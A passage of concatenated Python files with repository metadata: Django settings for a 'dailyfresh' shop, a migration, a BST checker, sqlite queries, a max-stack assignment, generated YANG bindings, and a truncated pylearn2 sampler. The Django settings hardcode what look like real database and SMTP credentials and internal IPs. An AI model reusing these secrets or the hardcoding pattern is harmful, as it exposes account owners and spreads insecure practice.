'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'dailyfresh.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), # } # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'dailyfresh', 'USER': 'zx2005', 'PASSWORD': 'redhat', 'HOST': '10.1.1.128', 'PORT':3306, } } # 告诉django其自带的认证系统,使用哪个模型类 AUTH_USER_MODEL='user.User' # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'zh-hans' # 本地化 TIME_ZONE = 'Asia/Shanghai' # 本地化 USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.0/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR,'static'), ] # 富文本编辑器配置 TINYMCE_DEFAULT_CONFIG = { 'theme': 'advance', 'width': 600, 'height': 400, } # 发送邮件配置 EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' # smpt服务地址 EMAIL_HOST = 'smtp.qq.com' EMAIL_PORT = 25 # 发送邮件的邮箱 EMAIL_HOST_USER = '99360681@qq.com' # 在邮箱中设置的客户端授权密码 EMAIL_HOST_PASSWORD = 'cdbnlajjhfctbjhb' # 收件人看到的发件人 EMAIL_FROM = '天天吃屎<99360681@qq.com>' # Django的缓存配置 CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://10.1.1.128:6379/9", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", } } } # 配置session存储在缓存中,就是上面的缓存 SESSION_ENGINE = "django.contrib.sessions.backends.cache" SESSION_CACHE_ALIAS = "default" # 配置django系统自带认证失败后,默认跳转的地址 LOGIN_URL='/user/login' # 设置Django的文件存储类 DEFAULT_FILE_STORAGE='utils.fdfs.storage.FdfsStorage' # 设置fdfs使用的client.conf文件路径 FDFS_CLIENT_CONF='./utils/fdfs/client.conf' # 设置fdfs存储服务器上nginx的IP和端口号 FDFS_URL='http://10.1.1.128:8888/' # 全文检索框架的配置 HAYSTACK_CONNECTIONS = { 'default': { # 使用whoosh引擎 # 'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine', 'ENGINE': 'haystack.backends.whoosh_cn_backend.WhooshEngine', # 索引文件路径 'PATH': os.path.join(BASE_DIR, 'whoosh_index'), } } # 当添加、修改、删除数据时，自动生成索引 HAYSTACK_SIGNAL_PROCESSOR = 'haystack.signals.RealtimeSignalProcessor' # 指定搜索结果每页显示的条数 HAYSTACK_SEARCH_RESULTS_PER_PAGE=1

[ "964725349@qq.com" ]

964725349@qq.com

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/main_page/migrations/0004_auto_20210716_0019.py

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[]

no_license

abhishekotari21/IAFpedia

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refs/heads/master

2023-07-08T09:25:15.408635

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null

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# Generated by Django 3.1.4 on 2021-07-15 18:49 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main_page', '0003_hisevent'), ] operations = [ migrations.RenameModel( old_name='HisEvent', new_name='HistoricalEvent', ), ]

[ "omkar3602@gmail.com" ]

omkar3602@gmail.com

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/configuratie_visualisatie_firewalls_webapp/run.py

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[]

no_license

Bakkerino/firewall_configuration_tool

d0694d5c9e44d7819b0f449c6ecb34bd34083395

0ea5326b36b4dca430f6fc00e68015e2a43855ba

refs/heads/master

2022-12-04T06:33:38.107245

2020-08-20T10:07:25

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from cvf import app if __name__ == "__main__": app.run(debug=app.config["DEBUG"])

[ "k.m.bakker@st.hanze.nl" ]

k.m.bakker@st.hanze.nl

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/data_structure/tree/isBST.py

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[]

no_license

RahulBhoir/Python-Projects

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refs/heads/master

2021-07-24T12:28:32.202481

2021-06-30T10:42:06

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1

0

null

2020-12-20T17:43:16

2019-02-12T19:07:12

Python

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Python

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py

root = None max_value = 100000 min_value = -100000 class Node(): def __init__(self, data): self.data = data self.left = None self.right = None def isBST(root, min_value, max_value): if root is None: return True if (root.data < max_value and root.data > min_value and isBST(root.left, min_value, root.data) and isBST(root.right, root.data, max_value)): return True else: return False root = Node(11) root.left = Node(9) root.right = Node(13) root.left.left = Node(7) root.left.right = Node(10) root.right.left = Node(12) root.right.right = Node(15) root.right.right.left = Node(14) tree = isBST(root, min_value, max_value) print(tree)

[ "rahulpbhoir@outlook.com" ]

rahulpbhoir@outlook.com

ea25f40064c0389cfee15171a0479f3f66af28c1

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/profile_test.py

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[ "BSD-2-Clause" ]

permissive

CyclingNinja/sunkit-sst

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refs/heads/master

2021-01-14T13:38:47.648658

2015-01-30T14:09:38

null

0

null

UTF-8

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from __future__ import absolute_import, division from sunkitsst.sstmap import get_header_item_group, SSTMap import sunpy.map as smap from sunkitsst.read_cubes import read_cubes from sunkitsst.visualisation import cube_explorer import numpy as np import matplotlib.pyplot as plt import glob plt.ion() smap.Map.register(SSTMap, SSTMap.is_source_for) imfile = '/data/SST/fastrbe/sstdata.icube' spfile = '/data/SST/fastrbe/sstdata.sp.icube' im_header, outmemmap, sp_header, sp_cube = read_cubes(imfile, spfile, memmap = True) files = glob.glob("/data/Mounted/SWAT/fastrbe/sst2sdo/fits/sst/halpha/*.fits") files.sort() first_maps = smap.Map(files[0]) cadence = 2.195 #s x = get_header_item_group(first_maps.meta, 'lpos_') x.sort() waves = list(zip(*x)[1]) waves.sort() axis_range = [np.arange(0,cadence*outmemmap.shape[0],cadence), waves] + [first_maps.yrange] + [first_maps.xrange] fig = plt.figure(figsize=(16,14)) moose = cube_explorer.PlotInteractor(outmemmap, first_maps.meta['cdelt1'], '/home/nabobalis/Dropbox/SavedSlits/', axis_range=None, cmap='Greys_r', fig=fig, colorbar=True)

[ "nabil.freij@gmail.com" ]

nabil.freij@gmail.com

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/caldera/utils/__init__.py

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jvrana/caldera

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refs/heads/master

2023-04-27T04:19:05.499430

2021-03-09T16:37:50

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1,795

py

r""" Caldera utility functions. .. autosummary:: :toctree: generated/ dict_join # pairwise Indexing -------- .. autosummary:: :toctree: generated/ reindex_tensor unravel_index Tensor ------ Utilities for :class:`torch.Tensor` .. autosummary:: :toctree: generated/ scatter_coo scatter_indices torch_coo_to_scipy_coo deterministic_seed long_isin same_storage stable_arg_sort_long tensor_is_empty torch_scatter_group Functional ---------- Functional programming module. .. autosummary:: :toctree: generated/ :recursive: functional Networkx Utilities ------------------ Extra :mod:`networkx` utilities .. autosummary:: :toctree: generated/ :recursive: """ from ._dict_join import dict_join from ._iteration import _first from ._iteration import pairwise from caldera.utils.indexing import reindex_tensor from caldera.utils.indexing import unravel_index from caldera.utils.np import replace_nan_with_inf from caldera.utils.sparse import scatter_coo from caldera.utils.sparse import scatter_indices from caldera.utils.sparse import torch_coo_to_scipy_coo from caldera.utils.tensor import deterministic_seed from caldera.utils.tensor import long_isin from caldera.utils.tensor import same_storage from caldera.utils.tensor import stable_arg_sort_long from caldera.utils.tensor import tensor_is_empty from caldera.utils.tensor import torch_scatter_group __all__ = [ "reindex_tensor", "unravel_index", "scatter_coo", "scatter_indices", "torch_coo_to_scipy_coo", "deterministic_seed", "long_isin", "same_storage", "stable_arg_sort_long", "tensor_is_empty", "torch_scatter_group", "dict_join", "pairwise", "_first", "replace_nan_with_inf", ]

[ "justin.vrana@gmail.com" ]

justin.vrana@gmail.com

4392e82cf5bce518c62400d99c6a9685baa753f0

db8ddcd93af0386a2cdf7c06f131c5acbfbcc4af

/UE-6.2.py

2043ffa531c2ac802df0d8ae21ed5431236ec966

[]

no_license

Damanu/CP-UE

584a088480d3252e389a70d64c98f64722d35a5d

8264839363275cd4f585cec97b7868e1b31e0114

refs/heads/master

2021-01-10T18:01:14.338989

2016-01-14T10:11:31

44,479,904

0

null

UTF-8

Python

false

117

py

#/usr/bin/python! import matplotlib.pyplot as plt import numpy as np import sys if __name__=="__main__": main()

[ "e.schwarzhans@gmx.at" ]

e.schwarzhans@gmx.at

c44a19da41a435781f04041a1e7bd5b9d3219591

b11b38a667a69969d268634e2c3de9f1b624823b

/tren.py

c2915fce05587062083416208d30bb2aa4d2d6b6

[]

no_license

minc84/learn

e68013e51fe846d0d41831e70cf3694154a152a8

22882b24b24ba386b0baf84055e08894c8a77053

refs/heads/master

2023-03-19T23:18:26.010374

2021-01-13T13:44:46

278,613,516

0

null

2021-03-20T04:41:50

2020-07-10T11:10:07

Python

UTF-8

Python

false

441

py

import sqlite3 as sq with sq.connect("saper.db") as con: cur = con.cursor() cur.execute(" select * from users where old > 20 AND score < 40 ORDER BY old DESC LIMIT 1") res = cur.fetchall() for value in cur.execute(" select name, score from users WHERE name LIKE 'ВАСИЛИСА'"): print(value) cur.execute("select name, score from users WHERE name LIKE 'ВАСИЛИСА' AND score > 1100") res = cur.fetchone() print(res)

[ "nesterovish@yandex.ru" ]

nesterovish@yandex.ru

8c1931de214702eae66c4588ab24ad31368fbe5f

6295b232fe750e4d49c40e093af3925b3ae14769

/max_stack_da.py

b3d5491a3be268ed75ae92c34cbe810fb77eb10f

[]

no_license

palaquibay329/QueueStackDynamicArrayfromStaticArray

426e38a5d2257d4543c85a9450299ac3bcb0842a

f6178051d7d28b23ba4baff68b0f3e4a0177fc5a

refs/heads/master

2023-08-22T03:51:35.704585

2021-10-17T03:53:47

418,012,565

1

0

null

UTF-8

Python

false

4,829

py

# Course: CS261 - Data Structures # Student Name: Edgar Palaquibay # Assignment: 2 # Description: This script is a max stack implementation using dynamic arrays. The newly implemented # methods are push(), pop(), top(), get_max(). from dynamic_array import * class StackException(Exception): """ Custom exception to be used by Stack class DO NOT CHANGE THIS METHOD IN ANY WAY """ pass class MaxStack: def __init__(self): """ Init new stack based on Dynamic Array DO NOT CHANGE THIS METHOD IN ANY WAY """ self.da_val = DynamicArray() self.da_max = DynamicArray() def __str__(self) -> str: """ Return content of stack in human-readable form DO NOT CHANGE THIS METHOD IN ANY WAY """ out = "MAX STACK: " + str(self.da_val.length()) + " elements. [" out += ', '.join([str(self.da_val[i]) for i in range(self.da_val.length())]) return out + ']' def is_empty(self) -> bool: """ Return True is the stack is empty, False otherwise DO NOT CHANGE THIS METHOD IN ANY WAY """ return self.da_val.is_empty() def size(self) -> int: """ Return number of elements currently in the stack DO NOT CHANGE THIS METHOD IN ANY WAY """ return self.da_val.length() # ----------------------------------------------------------------------- def push(self, value: object) -> None: """ Input: value (object) Output: N/A This function will add a new element to the stop of the stack """ if self.size() == 0: self.da_val.append(value) if self.da_max.length() == 0: self.da_max.append(value) elif value <= self.da_max.get_at_index(self.da_max.length()-1): arg = self.da_max.get_at_index(self.da_max.length()-1) self.da_max.append(arg) #append the current max of da_max onto da_max again self.da_val.append(value) else: self.da_max.append(value) #append the value argument to da_max since it's larger than current max self.da_val.append(value) def pop(self) -> object: """ Input: N/A Output: object This function returns the top value of the da_val stack, it also removes the top value from da_max stack but does not return it """ if self.is_empty(): raise StackException() else: value = self.da_val.get_at_index(self.size() - 1) #capture the top value of the stack before removing self.da_val.remove_at_index(self.size() - 1) self.da_max.remove_at_index(self.da_max.length() - 1) return value def top(self) -> object: """ Input: N/A Output: object This function will return the top value of the da_val stack and raise an exception if empty """ if self.is_empty(): raise StackException() return self.da_val.get_at_index(self.da_val.length() - 1) #return top of stack def get_max(self) -> object: """ Input: N/A Output: object This function returns the maximum value that is in the stack, if the stack is empty the method raises a "StackException" """ if self.is_empty(): raise StackException() return self.da_max.data[self.da_max.length() - 1] #return top of max stack # ------------------- BASIC TESTING ----------------------------------------- if __name__ == "__main__": print("\n# push example 1") s = MaxStack() print(s) for value in [1, 2, 3, 4, 5]: s.push(value) print(s) print("\n# pop example 1") s = MaxStack() try: print(s.pop()) except Exception as e: print("Exception:", type(e)) for value in [1, 2, 3, 4, 5]: s.push(value) for i in range(6): try: print(s.pop()) except Exception as e: print("Exception:", type(e)) print("\n# top example 1") s = MaxStack() try: s.top() except Exception as e: print("No elements in stack", type(e)) s.push(10) s.push(20) print(s) print(s.top()) print(s.top()) print(s) print('\n# get_max example 1') s = MaxStack() for value in [1, -20, 15, 21, 21, 40, 50]: print(s, ' ', end='') try: print(s.get_max()) except Exception as e: print(type(e)) s.push(value) while not s.is_empty(): print(s.size(), end='') print(' Pop value:', s.pop(), ' get_max after: ', end='') try: print(s.get_max()) except Exception as e: print(type(e))

[ "edgarpalaquibay@MacBook-Pro-2.fios-router.home" ]

edgarpalaquibay@MacBook-Pro-2.fios-router.home

1f8eb3d5d29c1b02e07895acc3f612ee67858941

51f887286aa3bd2c3dbe4c616ad306ce08976441

/pybind/slxos/v17s_1_02/routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/__init__.py

0eecc2d4add5bb3dd32255bc3b601767a6121cd0

[ "Apache-2.0" ]

permissive

b2220333/pybind

a8c06460fd66a97a78c243bf144488eb88d7732a

44c467e71b2b425be63867aba6e6fa28b2cfe7fb

refs/heads/master

2020-03-18T09:09:29.574226

2018-04-03T20:09:50

null

0

null

UTF-8

Python

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14,516

py

from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ class ipv6_address(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-common-def - based on the path /routing-system/interface/loopback/ipv6/ipv6-config/address/ipv6-address. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__address','__eui64','__anycast',) _yang_name = 'ipv6-address' _rest_name = 'ipv6-address' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__eui64 = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) self.__anycast = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) self.__address = YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'routing-system', u'interface', u'loopback', u'ipv6', u'ipv6-config', u'address', u'ipv6-address'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'interface', u'Loopback', u'ipv6', u'address', u'ipv6-address'] def _get_address(self): """ Getter method for address, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/address (union) """ return self.__address def _set_address(self, v, load=False): """ Setter method for address, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/address (union) If this variable is read-only (config: false) in the source YANG file, then _set_address is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_address() directly. """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """address must be of a type compatible with union""", 'defined-type': "brocade-ipv6-config:union", 'generated-type': """YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True)""", }) self.__address = t if hasattr(self, '_set'): self._set() def _unset_address(self): self.__address = YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) def _get_eui64(self): """ Getter method for eui64, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/eui64 (empty) """ return self.__eui64 def _set_eui64(self, v, load=False): """ Setter method for eui64, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/eui64 (empty) If this variable is read-only (config: false) in the source YANG file, then _set_eui64 is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_eui64() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """eui64 must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True)""", }) self.__eui64 = t if hasattr(self, '_set'): self._set() def _unset_eui64(self): self.__eui64 = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) def _get_anycast(self): """ Getter method for anycast, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/anycast (empty) """ return self.__anycast def _set_anycast(self, v, load=False): """ Setter method for anycast, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/anycast (empty) If this variable is read-only (config: false) in the source YANG file, then _set_anycast is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_anycast() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """anycast must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True)""", }) self.__anycast = t if hasattr(self, '_set'): self._set() def _unset_anycast(self): self.__anycast = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) address = __builtin__.property(_get_address, _set_address) eui64 = __builtin__.property(_get_eui64, _set_eui64) anycast = __builtin__.property(_get_anycast, _set_anycast) _pyangbind_elements = {'address': address, 'eui64': eui64, 'anycast': anycast, }

[ "badaniya@brocade.com" ]

badaniya@brocade.com

1ea53c97efbef18c6d8500971ef041b011cad8a1

4467ac07a53475b5906471de1fd2354d9d277f83

/pylearn2/models/dbm/sampling_procedure.py

bd6522e1b1bdab962a509475901ff0f3e608629d

[]

no_license

YS-L/pylearn2

01161cc0b160703aff39c41d2251736a51b0c1ae

55e40690f104850bd336952692b17803c01dcb6c

refs/heads/master

2020-02-26T13:15:24.420474

2014-02-19T23:23:41

null

0

null

UTF-8

Python

false

8,080

py

__authors__ = ["Ian Goodfellow", "Vincent Dumoulin"] __copyright__ = "Copyright 2012-2013, Universite de Montreal" __credits__ = ["Ian Goodfellow"] __license__ = "3-clause BSD" __maintainer__ = "Ian Goodfellow" from theano.compat import OrderedDict from pylearn2.utils import py_integer_types class SamplingProcedure(object): """ Procedure for sampling from a DBM. """ def set_dbm(self, dbm): """ .. todo:: WRITEME """ self.dbm = dbm def sample(self, layer_to_state, theano_rng, layer_to_clamp=None, num_steps=1): """ Samples from self.dbm using `layer_to_state` as starting values. Parameters ---------- layer_to_state : dict Maps the DBM's Layer instances to theano variables representing \ batches of samples of them. theano_rng : theano.sandbox.rng_mrg.MRG_RandomStreams WRITEME layer_to_clamp : dict, optional Maps Layers to bools. If a layer is not in the dictionary, \ defaults to False. True indicates that this layer should be \ clamped, so we are sampling from a conditional distribution \ rather than the joint distribution. Returns ------- layer_to_updated_state : dict Maps the DBM's Layer instances to theano variables representing \ batches of updated samples of them. """ raise NotImplementedError(str(type(self))+" does not implement " + "sample.") class GibbsEvenOdd(SamplingProcedure): """ The specific sampling schedule used to sample all of the even-idexed layers of model.hidden_layers, then the visible layer and all the odd-indexed layers. """ def sample(self, layer_to_state, theano_rng, layer_to_clamp=None, num_steps=1): """ .. todo:: WRITEME """ # Validate num_steps assert isinstance(num_steps, py_integer_types) assert num_steps > 0 # Implement the num_steps > 1 case by repeatedly calling the # num_steps == 1 case if num_steps != 1: for i in xrange(num_steps): layer_to_state = self.sample(layer_to_state, theano_rng, layer_to_clamp, num_steps=1) return layer_to_state # The rest of the function is the num_steps = 1 case # Current code assumes this, though we could certainly relax this # constraint assert len(self.dbm.hidden_layers) > 0 # Validate layer_to_clamp / make sure layer_to_clamp is a fully # populated dictionary if layer_to_clamp is None: layer_to_clamp = OrderedDict() for key in layer_to_clamp: assert (key is self.dbm.visible_layer or key in self.dbm.hidden_layers) for layer in [self.dbm.visible_layer] + self.dbm.hidden_layers: if layer not in layer_to_clamp: layer_to_clamp[layer] = False # Assemble the return value layer_to_updated = OrderedDict() for i, this_layer in list(enumerate(self.dbm.hidden_layers))[::2]: # Iteration i does the Gibbs step for hidden_layers[i] # Get the sampled state of the layer below so we can condition # on it in our Gibbs update if i == 0: layer_below = 